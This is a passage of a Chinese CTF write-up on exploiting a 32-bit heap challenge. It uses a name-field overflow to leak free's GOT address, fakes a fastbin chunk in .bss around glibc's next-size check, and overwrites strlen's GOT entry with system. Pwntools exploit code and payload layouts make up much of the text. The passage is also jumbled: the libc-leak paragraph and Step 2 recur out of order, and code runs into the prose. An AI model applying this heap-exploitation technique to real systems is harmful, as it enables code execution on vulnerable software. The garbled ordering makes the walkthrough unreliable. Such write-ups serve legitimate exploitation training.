接下来就是填充27个字节的name，将last_heap指针覆盖成free_got地址，以泄露free地址，然后就能根据libc相对偏移计算出system的地址了。
Step2：alloc to 0x0804a2a8
要在bss段上分配堆，首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40，这是因为我们的枪支结构的内容大小为0x38，因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始，那么size就位于0x0804a2a8-4=0x0804a2a4处，观察一下这里刚好是number的地址，因此我们就需要在分配到0x0804a2a8前添加0x40次。
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i)) #name + last_heap
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')注意这里每个chunk的last_heap都要设置成NULL，因为在后面delete的时候是依次free，这样才不会将这些chunk放入fastbin中。
再添加一次chunk，将last_heap设置成0x0804a2a8，这样在free一次后会将指针设置成last_heap，再将其free放入fastbin，这样下次malloc的时候就会将最近放入fastbin中的chunk返回，也就是我们的0x0804a2a8。
这里有个地方需要绕过：next_chunksize
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) //大于一个header
<= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}从前四行可以看到，如果next_chunksize过大或过小，都会触发一个错误。因此我们要保证下个伪造的chunk的size位符合条件。
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100) #padding + last_heap + prev_size_of_fake_chunk + size_of_fake_chunk message(payload) delete()
message是从0x0804a2c0开始编辑的，而我们的chunk从0x0804a2a8开始的0x38个字节，填满整个chunk需要0x38-(0xc0-0xa8) = 0x20字节，但最后4个字节也就是last_heap我们要设置为NULL。我把这个size设置为100，只要不大不小就行，比如0x100也行。
可以看到这里只有两个，最近的就是我们0x0804a2a8-8的chunk，下次malloc就会返回它了。
Step3:trim strlen_got
我们可以发现leave_message函数中fgets之后就会调用截断函数，里面就有个strlen函数，我们就把他改为system，这样在fgets篡改成system后就能直接调用了，不用在另外构造。
payload = p32(elf.got['strlen'])
add('b',payload)add('a','a')
delete() #run free
name = 'a'*27 + p32(elf.got['free']) #name + last_heap
print hex(elf.got['free'])
add(name,'a'*25)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))由于一开始没有运行过free函数，根据linux延迟绑定机制，只有第一次运行后got表才会绑定free的实际内存地址。
接下来就是填充27个字节的name，将last_heap指针覆盖成free_got地址，以泄露free地址，然后就能根据libc相对偏移计算出system的地址了。
Step2：alloc to 0x0804a2a8
要在bss段上分配堆，首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40，这是因为我们的枪支结构的内容大小为0x38，因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始，那么size就位于0x0804a2a8-4=0x0804a2a4处，观察一下这里刚好是number的地址，因此我们就需要在分配到0x0804a2a8前添加0x40次。
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